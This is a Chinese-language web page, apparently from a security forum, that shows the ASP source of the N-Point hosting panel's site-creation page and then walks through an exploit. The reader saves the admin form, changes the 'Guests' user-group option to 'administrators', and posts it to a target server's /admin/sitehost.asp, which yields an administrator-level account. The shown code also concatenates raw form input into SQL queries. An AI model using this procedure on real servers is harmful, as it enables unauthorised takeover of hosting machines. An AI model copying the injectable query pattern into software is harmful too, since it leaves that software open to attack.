- Rongsen.Com.Cn 版权所有 2008-2010 京ICP备08007000号 京公海网安备11010802026356号 朝阳网安编号:110105199号
- 北京黑客防线网安工作室-黑客防线网安服务器维护基地为您提供专业的
服务器维护
,企业网站维护
,网站维护
服务 - (建议采用1024×768分辨率,以达到最佳视觉效果) Powered by 黑客防线网安 ©2009-2010 www.rongsen.com.cn
作者:黑客防线网安网站维护基地 来源:黑客防线网安网站维护基地 浏览次数:0 |
- <!--#include file="sessioncolck.asp" -->
- <!--#include file="pagesession/CS1.asp" -->
- <!--#include file="../inc/conn.asp" -->
- <!--#include file="../inc/char.asp" -->
- <!--#include file="../inc/function.asp" -->
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
- <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
- <title>Powered By npoint</title>
- <link href="../css/style.css" rel="stylesheet" type="text/css" />
- <script src="../js/ajax_x.js" type="text/javascript"></script>
- <script src="../js/alt.js" type="text/javascript"></script>
- </head>
- <body>
- <%
- rs.open "Select * from hostcs",conn,1,1
- ftpsoft=rs("ftpsoft") 'FTP软件
- hostdomain=rs("hostdomain") '赠送域名
- diskpe=rs("diskpe") '磁盘配额
- ftpid=rs("ftpid") 'IISFTP标识符
- doc=rs("doc") '默认文档
- servupath=rs("servupath") 'Serv-u/Gene6 安装路径
- servuid=rs("servuid") 'Serv-U 7.X ID号
- servudomain=rs("servudomain") 'Serv-u7.x/Gene6 域名称
- webpage=rs("webpage") '开设欢迎页
- appsitenum=rs("appsitenum") '超过多少网站 自动创建程序池
- yncreateapploop=rs("yncreateapploop") '是否自动创建程序池
- dcapppool=rs("dcapppool") '当前自动创建完的程序池
- appbtitle=rs("appbtitle") '自动创建程序池标头
- rs.close
- set iishost=server.createobject("npoint.host") '加载组件
- if request.QueryString("action")="kshost" then
- '叛断输入的域名是否合法或有带WWW
- if trim(request.form("domain"))<>"" then
- if ubound(split(trim(request.form("domain")),"."))<1 then
- call ErrMsgBox("操作失败.\n\n1.绑定的域名不合法,请更换")
- response.End()
- else
- if LCase(split(trim(request.form("domain")),".")(0))="www" then
- call ErrMsgBox("操作失败.\n\n1.绑定的域名不包括www,请更换")
- response.End()
- end if
- end if
- end if
- '叛断FTP账号是否合法
- chkftp=chk_ftpuser(trim(request.form("FTPuser")))
- if chkftp<>"1" then
- call ErrMsgBox(chkftp)
- response.End()
- end if
- '叛断域名是否存在
- if trim(request.form("domain"))<>"" then
- rs.open "Select host_domain,todomain from sitehost",conn,1,1
- if rs.bof and rs.eof then
- rs.close
- else
- for i=1 to rs.recordcount
- if rs("host_domain")="" then
- H_D=""
- else
- H_D=rs("host_domain") & "|"
- end if
- if rs("todomain")="" then
- T_D=""
- else
- T_D=rs("todomain") & "|"
- end if
- All_domainAll_domain=All_domain & H_D & T_D
- rs.movenext
- next
- rs.close
- if All_domain<>"" then
- Fall_domain=split(mid(All_domain,1,len(All_domain)-1),"|")
- for s=0 to ubound(Fall_domain)
- if Fall_domain(s)=trim(request.form("domain")) or Fall_domain(s)="www."&trim(request.form("domain")) then
- call ErrMsgBox("操作失败.\n\n1.绑定域名已存在,请更换.")
- response.End()
- end if
- next
- end if
- end if
- end if
- '叛断FTP账号是否存在
- rs.open "Select FTPuser from sitehost where FTPuser='"&trim(request.form("FTPuser"))&"'",conn,1,1
- if rs.bof and rs.eof then
- rs.close
- '设置站点标识符ID号
- rs.open "Select * from sitehost order by id desc",conn,1,1
- if rs.bof and rs.eof then
- ifid=2 '站点标识符
- else
- ifid=rs("ID")+1
- end if
- rs.close
- '计算到期时间
- sdate=date() '开设时间
- if ubound(split(sdate,"-"))>1 then
- d_fgh="-"
- elseif ubound(split(sdate,"/"))>1 then
- d_fgh="/"
- elseif ubound(split(sdate,"."))>1 then
- d_fgh="."
- end if
- Fjdate=split(sdate,d_fgh)
- Tyear=int(Fjdate(0))+int(request.form("Eyear"))
- Tmone=int(Fjdate(1))+int(request.form("Emone"))
- if int(Fjdate(2))=31 then
- dayx=int(Fjdate(2))-1
- else
- dayx=int(Fjdate(2))
- end if
- if Tmone>12 then
- if Tmone-12=2 and dayx=29 then
- Edate=Tyear+1 & d_fgh & Tmone-12 & d_fgh & "28" '到期时间
- else
- Edate=Tyear+1 & d_fgh & Tmone-12 & d_fgh & dayx '到期时间
- end if
- else
- if Tmone=2 and dayx=29 then
- Edate=Tyear & d_fgh & Tmone & d_fgh & "28" '到期时间
- else
- Edate=Tyear & d_fgh & Tmone & d_fgh & dayx '到期时间
- end if
- end if
- '自动创建程序池或独立程序池
- if yncreateapploop=1 then
- if request.Form("autocreateapp")=0 then
- Appstate=iishost.appstateyn(appbtitle&"_"&dcapppool)'叛断进程池是否存在 1为存在 0为不存在
- if Appstate=1 then
- uidapple=appbtitle&"_"&dcapppool
- rs.open "Select apppool from sitehost where RID=1 and apppool='"&uidapple&"'",conn,1,1
- if rs.bof and rs.eof then
- rs.close
- iisapppool_B=uidapple
- else
- if int(rs.recordcount)>int(appsitenum-1) then
- R=iishost.creatiisapp(appbtitle&"_"&dcapppool+1, "", "", "",1,"","")
- if R=1 then
- rs.close
- conn.Execute("Update hostcs Set dcapppool='"&dcapppool+1&"'")
- iisapppool_B=appbtitle&"_"&dcapppool+1
- else
- rs.close
- rs.open "Select * from errorlist where errora='"&R&"'",conn,1,1
- if rs.bof and rs.eof then
- call SucBox("操作失败.\n\n错误代码:"&R,"sitehost.asp")
- else
- call SucBox("操作失败.\n\n错误代码:"&R&"\n\n错误提示:"&rs("errorlist"),"sitehost.asp")
- end if
- rs.close
- response.End()
- end if
- else
- iisapppool_B=uidapple
- end if
- end if
- elseif Appstate=0 then
- R=iishost.creatiisapp(appbtitle&"_"&dcapppool, "", "", "",1,"","")
- if R=1 then
- iisapppool_B=appbtitle&"_"&dcapppool
- else
- rs.open "Select * from errorlist where errora='"&R&"'",conn,1,1
- if rs.bof and rs.eof then
- call SucBox("操作失败.\n\n错误代码:"&R,"sitehost.asp")
- else
- call SucBox("操作失败.\n\n错误代码:"&R&"\n\n错误提示:"&rs("errorlist"),"sitehost.asp")
- end if
- rs.close
- response.End()
- end if
- end if
- elseif request.Form("autocreateapp")=1 then
- R=iishost.creatiisapp(""&trim(request.form("FTPuser"))&"", "", "", "",1,"","")
- if R=1 then
- iisapppool_B=trim(request.form("FTPuser"))
- else
- rs.open "Select * from errorlist where errora='"&R&"'",conn,1,1
- if rs.bof and rs.eof then
- call SucBox("操作失败.\n\n错误代码:"&R,"sitehost.asp")
- else
- call SucBox("操作失败.\n\n错误代码:"&R&"\n\n错误提示:"&rs("errorlist"),"sitehost.asp")
- end if
- rs.close
- response.End()
- end if
- end if
- elseif yncreateapploop=0 then
- iisapppool_B=trim(request.form("apppool"))
- end if
- '开设主机
- R=iishost.createsite(ifid,ftpid,trim(request.form("FTPuser")),trim(request.form("FTPpass")),trim(request.form("domain")),hostdomain,doc,trim(request.form("IISnum")),trim(request.form("MAxnum")),trim(request.form("spanum")),trim(request.form("sitepath")),iisapppool_B,"","","",trim(request.form("rznum")),ftpsoft,servupath,trim(request.form("csnum")),servuid,servudomain,trim(request.form("userGroup")),diskpe,webpage)
- if int(R)>1 then
- todomain=""
- if trim(request.form("domain"))<>"" then
- host_domain=trim(request.form("domain"))&"|www."&trim(request.form("domain"))
- else
- host_domain=""
- end if
- '添加主机记录
- ftppassword=iishost.Eduserpassword(trim(request.form("FTPpass")),1) '加密FTP密码
- if yncreateapploop=1 then
- conn.Execute("insert into sitehost(RID,Ifid,FTPuser,FTPpass,fupath,host_domain,todomain,sitedoc,spanum,IISnum,MAxnum,tfordnum,sitepath,apppool,rznum,csnum,userGroup,Azip,Azipnum,Xzip,Xzipnum,sitestate,Sdate,Edate,appdlnum,appautocreat) values(1,'"&R&"','"&trim(request.form("FTPuser"))&"','"&ftppassword&"',1,'"&host_domain&"','"&todomain&"','"&doc&"',"&trim(request.form("spanum"))&","&trim(request.form("IISnum"))&","&trim(request.form("MAxnum"))&","&trim(request.form("tfordnum"))&",'"&trim(request.form("sitepath"))&"','"&iisapppool_B&"',"&trim(request.form("rznum"))&","&trim(request.form("csnum"))&",'"&trim(request.form("userGroup"))&"',"&trim(request.form("Azip"))&","&trim(request.form("Azipnum"))&","&trim(request.form("Xzip"))&","&trim(request.form("Xzipnum"))&",1,'"&sdate&"','"&Edate&"',"&trim(request.Form("autocreateapp"))&","&yncreateapploop&")")
- else
- conn.Execute("insert into sitehost(RID,Ifid,FTPuser,FTPpass,fupath,host_domain,todomain,sitedoc,spanum,IISnum,MAxnum,tfordnum,sitepath,apppool,rznum,csnum,userGroup,Azip,Azipnum,Xzip,Xzipnum,sitestate,Sdate,Edate,appdlnum,appautocreat) values(1,'"&R&"','"&trim(request.form("FTPuser"))&"','"&ftppassword&"',1,'"&host_domain&"','"&todomain&"','"&doc&"',"&trim(request.form("spanum"))&","&trim(request.form("IISnum"))&","&trim(request.form("MAxnum"))&","&trim(request.form("tfordnum"))&",'"&trim(request.form("sitepath"))&"','"&iisapppool_B&"',"&trim(request.form("rznum"))&","&trim(request.form("csnum"))&",'"&trim(request.form("userGroup"))&"',"&trim(request.form("Azip"))&","&trim(request.form("Azipnum"))&","&trim(request.form("Xzip"))&","&trim(request.form("Xzipnum"))&",1,'"&sdate&"','"&Edate&"',0,"&yncreateapploop&")")
- end if
- '更新站点数量
- conn.Execute("Update sitepath Set sitenumsitenum=sitenum+1 Where sitepath='"&trim(request.form("sitepath"))&"\"&"'")
- call SucBox("操作成功.","adminsitehost.asp")
- else
- if yncreateapploop=1 and trim(request.Form("autocreateapp"))=1 then
- X=iishost.deliisapp(""&trim(request.form("FTPuser"))&"") '发生错误 - 删除独立程序池
- end if
- rs.open "Select * from errorlist where errora='"&R&"'",conn,1,1
- if rs.bof and rs.eof then
- call SucBox("操作失败.\n\n错误代码:"&R,"sitehost.asp")
- else
- call SucBox("操作失败.\n\n错误代码:"&R&"\n\n错误提示:"&rs("errorlist"),"sitehost.asp")
- end if
- rs.close
- end if
- else
- rs.close
- call ErrMsgBox("操作失败.\n\n1.FTP账号已存在,请更换.")
- end if
- end if
- %>
- ……省略部分代码
- <tr>
- <td height="22" class="site_bg_bs" scope="col"> 用户权限:</td>
- <td class="site_bg_bs" scope="col"><input type="radio" name="csnum" id="radio" value="1"><span class="syt_1">读取</span> | <input type="radio" name="csnum" id="radio2" value="2"><span class="syt_1">读取/写入</span> | <input name="csnum" type="radio" id="radio3" value="3" checked><span class="syt_1">读取/写入/删除</span> | <input type="radio" name="csnum" id="radio4" value="4"><span class="syt_1">读取/写入/删除/运行</span></td>
- </tr>
- <tr>
- <td height="22" class="site_bg_bs" scope="col"> 用户组:</td>
- <td class="site_bg_bs" scope="col"><select name="userGroup" class="input_to_to" id="userGroup">
- <option value="" selected>无用户组</option>
- <option value="Guests">Guests</option>
- </select></td>
- </tr>
- ……省略部分代码
行<option value="Guests">Guests</option> 致命代码
等到管理密码 直接 进入 开空间 也就 http://www.***.com/admin/sitehost.asp
现在大家 先别急 右键 查看代码 将代码保存 到 本地 或直接另存为
保存到 本地后 进行代码修改 。Ctrl +F 进行查找 <option value="Guests">Guests</option>
将 <option value="Guests">Guests</option> Guests 修改为 administrators
<option value="administrators">administrators</option>
看到现在了,明白了吧? 继续
然后 Ctrl + F 查找 <form action="?action=kshost" method="post" id="from1" name="form1" onSubmit="return checkform(this)">
修改为 <form action="http://www.***.com/admin/sitehost.asp?action=kshost" method="post" id="from1" name="form1" onSubmit="return checkform(this)">
我要申请本站:N点 | 黑客防线官网 | |
专业服务器维护及网站维护手工安全搭建环境,网站安全加固服务。黑客防线网安服务器维护基地招商进行中!QQ:29769479 |